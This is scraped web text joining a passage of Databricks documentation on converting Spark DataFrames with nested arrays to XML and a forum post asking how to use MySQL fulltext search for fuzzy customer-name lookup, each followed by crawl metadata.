root |-- two: struct (nullable = true) | |-- _VALUE: string (nullable = true) | |-- _myTwoAttrib: string (nullable = true) |-- three: string (nullable = true)
Convert DataFrame to XML
Writing a XML file from DataFrame having a field
ArrayType with its element as
ArrayType would have an additional nested field for the element. This would not happen in reading and writing XML data but writing a DataFrame read from other sources. Therefore, roundtrip in reading and writing XML files has the same structure but writing a DataFrame read from other sources is possible to have a different structure.
A DataFrame with the schema:
|-- a: array (nullable = true) | |-- element: array (containsNull = true) | | |-- element: string (containsNull = true)
and data:
+------------------------------------+ | a| +------------------------------------+ |[WrappedArray(aa), WrappedArray(bb)]| +------------------------------------+
produces the XML file:
<a> <item>aa</item> </a> <a> <item>bb</item> </a> | https://docs.databricks.com/data/data-sources/xml.html | CC-MAIN-2021-39 | refinedweb | 1,407 | 52.05 |
User Tag List
Results 1 to 5 of 5
Threaded View
- Join Date
- Jun 2002
- Location
- Riding the electron wave
- 372
- Mentioned
- 0 Post(s)
- Tagged
- 0 Thread(s)
Simple search using MySQL's Fulltext Search?
I am trying to research how to impliment MySQL 4.X's FTS (Fulltext Search) into my LAN-based invoicing system.
GOAL: When cashier enters name of customer, instead of just entering the customers name and assigning a customer number ( cust_id ), I want to query the database first and make sure I'm not creating a duplicate entry. I also want to use FTS to allow my accountant to find customers based on firstname/lastname using various spelling variations in the instance that she does not know the correct spelling.
In addition, my boss, who enters invoices from time to time, is a notorious fat-fingerer ( almost as bad as me
) and so spelling errors are common. I want to be able to query the database, and present him, and me for that matter, with a perspective list of customers already in the database. This functionality will present us with the choice of choosing a customer from a list, or go on to create a new entry.
So if we type "Marey", the search will try to find an exact match, and if none is available, will search again to return (assuming similar names are already in the db) results like "Marie", "Mary", "Marcy", etc.
I've been researching levenshtien(), soundex(), and metaphone() as well, but I'm not sure how to implement those functions. However, from what I understand (which may be totally wrong
) MySQL's FTS should be able to accomplish my goal natively. Since I only need to search simple strings as opposed to entire phrases, the solution should be rather simple, right? Could someone post some examples, or at least point me in the right direction? I've learned much in the last few days, but I'm still not sure how to actually do this.
PS: Hope this was the right forum
Semantically, I'm talking about MySQL, but if this post should have been somewhere else, I apologizeDucharme's Axiom: "If you view your problem closely
enough, you will recognize yourself as part of the problem."
Bookmarks | http://www.sitepoint.com/forums/showthread.php?225572-Simple-search-using-MySQL-s-Fulltext-Search&p=1619798&mode=threaded | CC-MAIN-2013-48 | refinedweb | 379 | 63.83 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.